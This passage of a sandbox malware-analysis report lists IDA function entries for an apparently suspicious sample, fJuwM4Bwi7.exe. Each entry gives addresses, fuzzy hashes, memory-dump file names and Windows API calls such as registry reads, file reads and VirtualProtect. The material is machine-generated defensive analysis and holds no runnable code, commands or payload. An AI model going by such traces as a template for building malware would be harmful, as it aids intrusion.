Associated: 00000005.00000002.79058630911.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058691430.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058724593.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_fJuwM4Bwi7.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 10da2a693ced731503c2d5b3de2f7fe8e431c949d2a6016fe146597bbe82a282
Instruction ID: 2b4501ff186f60f2b29b8b71d76009b37135a14f8b8ad132536a4a21bb517402
Opcode Fuzzy Hash: 10da2a693ced731503c2d5b3de2f7fe8e431c949d2a6016fe146597bbe82a282
Instruction Fuzzy Hash: 9E51A4BA908214DFFB14DF60DCC5B5937A8EB443D4F218429EA08E725DDF38A981CB94

Function 004023C8 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B07: RegOpenKeyExA.KERNELBASE(00000000,00000168,00000000,00000022,00000000,?,?), ref: 00402B2F

RegQueryValueExA.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004023F8
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nszBD12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 7eb33a159c5e2e36f52cd260ea1f941ce228b1fcd6854e0b7c510fd00de33ed5
Instruction ID: 6e7bf8a8071b86039a0630bdde8d6c62460c4efec4bb82e40fe4d514ce07d4c8
Opcode Fuzzy Hash: 7eb33a159c5e2e36f52cd260ea1f941ce228b1fcd6854e0b7c510fd00de33ed5
Instruction Fuzzy Hash: 6711C171905205EFDB11DF60CA889BEBBB4EF00344F20843FE441B62C0D2B84A41EB6A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
Instruction ID: da56ad7cfcb2a9fecb994a09e4a0bd113f750103611445cd7b28aada07ee45e3
Opcode Fuzzy Hash: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
Instruction Fuzzy Hash: 2E012831B24210ABE7294B389D04B6A369CE710328F11823BF811F72F1D6B8DC42DB4D

Function 004022C0 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B07: RegOpenKeyExA.KERNELBASE(00000000,00000168,00000000,00000022,00000000,?,?), ref: 00402B2F

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 004022DF
RegCloseKey.ADVAPI32(00000000), ref: 004022E8

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 9fe761724c1276d574af105ef08c00a5703bee9f5c9ace5d1d1e19f8a1f69dfd
Instruction ID: 2c42072c31bcbbe471fcd7c214f11599c8a5ac898b8b604777345a29c8a948e9
Opcode Fuzzy Hash: 9fe761724c1276d574af105ef08c00a5703bee9f5c9ace5d1d1e19f8a1f69dfd
Instruction Fuzzy Hash: 65F04F72A04111ABDB51ABB49A8EAAE6268AB40318F14453BF501B61C1DAFC5E01A66E

Function 0040155B Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00010454), ref: 00401579
ShowWindow.USER32(0001044E), ref: 0040158E

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: c64c6d1f079b89554086766a5c5b018e70a08e7419b7e9e5f4a1fba6667fe9af
Instruction ID: 8a385b190166ef4faee7ea7f7faf61a79327429c222f4cee9526e2a72d22cdd5
Opcode Fuzzy Hash: c64c6d1f079b89554086766a5c5b018e70a08e7419b7e9e5f4a1fba6667fe9af
Instruction Fuzzy Hash: 9FF0E577B08250BFC725CF64ED8086E77F5EB5531075444BFD102A3292C2B89D04DB18

Function 00401DAC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DC2
EnableWindow.USER32(00000000,00000000), ref: 00401DCD

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 3f66373841930f62a7e084ead73e64351eb2d9defc74f476aa24081e3a98abe9
Instruction ID: 18ac702c75a7039fec00373c4f699ed09bc4c8ec852dd7b5b9a0ef8cb6e9c66a
Opcode Fuzzy Hash: 3f66373841930f62a7e084ead73e64351eb2d9defc74f476aa24081e3a98abe9
Instruction Fuzzy Hash: 39E0CD72B04110EBCB10BBB45D4A55E3374DF10359B10443BF501F11C1D2B85C40565D

Function 004059C7 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\fJuwM4Bwi7.exe,80000000,00000003), ref: 004059CB
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059ED

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: b262a0f40d66ad03986e5cb00ab33bb84fd1bf9937e58ea257525f7228853690
Instruction ID: 21e5f81f3e52fa2c8f9e5bc24a994218dd140026ef3a1e453d479de883aad6ce
Opcode Fuzzy Hash: b262a0f40d66ad03986e5cb00ab33bb84fd1bf9937e58ea257525f7228853690
Instruction Fuzzy Hash: 94D09E31668301AFEF098F20DD16F2E7BA2EB84B00F10562CB682D40E0D6755815DB16

Function 004059A2 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,004055BA,?,?,00000000,0040579D,?,?,?,?), ref: 004059A7
SetFileAttributesA.KERNEL32(?,00000000), ref: 004059BB

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction ID: a98ca5448702c3e829ea1667e49b0be7f6aa4c87fef4348ac0342a167d80fd98
Opcode Fuzzy Hash: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction Fuzzy Hash: 19D0C9B2918120EBC2102728AD0889BBF69EB542717018B31F865A22B0C7304C52DAA9

Function 0040223B Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 00402274

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction ID: 05d4d75dbd01593bae97f630dbecede8c42f44da552b6d0f9ca4defc7305ba5b
Opcode Fuzzy Hash: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction Fuzzy Hash: 2FE04F72B001696ADB903AF18F8DD7F21597B84304F15067EF611B62C2D9BC0D81A2B9

Function 00402B07 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,00000168,00000000,00000022,00000000,?,?), ref: 00402B2F

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: ebfeba3ed9c8d95cb46d76ca19a6c1a04daa5e79448631d0a062a8db0bedbb5d
Instruction ID: 087740a894708ae54e311fe38564fcb001a0ed9e3d0f4d4a62d19f1d4de25a1d
Opcode Fuzzy Hash: ebfeba3ed9c8d95cb46d76ca19a6c1a04daa5e79448631d0a062a8db0bedbb5d
Instruction Fuzzy Hash: 38E046B6250108AADB40EFA4EE4AF9537ECFB04700F008021BA08E7091CA78E5509B69

Function 00405A3F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,004128A0,0040A8A0,004031C9,00409130,00409130,004030BB,004128A0,00004000,?,00000000,?), ref: 00405A53

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 36ce21e0183dc59356ed1b7b138b7ffe2bb5c4fd6ccae5392a8977301763c5ee
Instruction ID: 55609983f428609d3339a900fe5ea2c3161a13bcf9e808ef2cae39733250456b
Opcode Fuzzy Hash: 36ce21e0183dc59356ed1b7b138b7ffe2bb5c4fd6ccae5392a8977301763c5ee
Instruction Fuzzy Hash: F7E08C3231025AABDF109EA09C40AEB3B6CEB00760F084432FA14E2040D230E9218FA5

Function 1000270F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 1000272D

Memory Dump Source

Source File: 00000005.00000002.79058661791.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.79058630911.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058691430.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058724593.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_fJuwM4Bwi7.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4dab7c069dd6fc30f8915db09394f7f991a1b088a201bba37056324bf7fcc065
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: 98F09BF19092A0DEF360DF688CC47063FE4E3993D5B03852AE358F6269EB7441448B19

Function 0040227F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022B2

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: f8d132d461a5c4ed5c76335474cd8e98aaa4b1821b9353edac55918b86fd9ae5
Instruction ID: 1024819f7f1d2ea578916dba6ac29c28ac22902c13986e1de9ff5d702d2d6265
Opcode Fuzzy Hash: f8d132d461a5c4ed5c76335474cd8e98aaa4b1821b9353edac55918b86fd9ae5
Instruction Fuzzy Hash: B9E08671A44209BADB406FA08E09EBD3668BF01710F10013AF9507B0D1EBB88442F72D

Function 00404038 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010448,00000000,00000000,00000000), ref: 0040404A

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction ID: af7fd4c3fc1dda8ad1a195a9021ea177fcc43fc0d0bb539f8953ea950d20d41d
Opcode Fuzzy Hash: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction Fuzzy Hash: DFC09B717443007BEA31DB509D49F077758A750B00F5584357320F50D0C6B4F451D62D

Function 00404021 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403E52), ref: 0040402F

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction ID: 7b5ccc39adf6f72de5191684d4495c6b43ffe58f78915606d69c4a7e6f44d702
Opcode Fuzzy Hash: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction Fuzzy Hash: F3B092B5684200BAEE224B40DD09F457EA2E7A4702F008024B300240B0C6B200A1DB19

Function 004031CC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EA4,?), ref: 004031DA

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 0040400E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403DEB), ref: 00404018

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: caaff2729d3fe7bae5ae998927534049a5cfce9e2193b3926e4c56a419af128c
Instruction ID: f87940b9544c4de7e657a104dd6f20edac94ef916c9b89b279468f5034d51d6a
Opcode Fuzzy Hash: caaff2729d3fe7bae5ae998927534049a5cfce9e2193b3926e4c56a419af128c
Instruction Fuzzy Hash: E2A01231404001DBCB014B10DF04C45FF21B7503007018030E50140034C6310420FF09

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E5

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
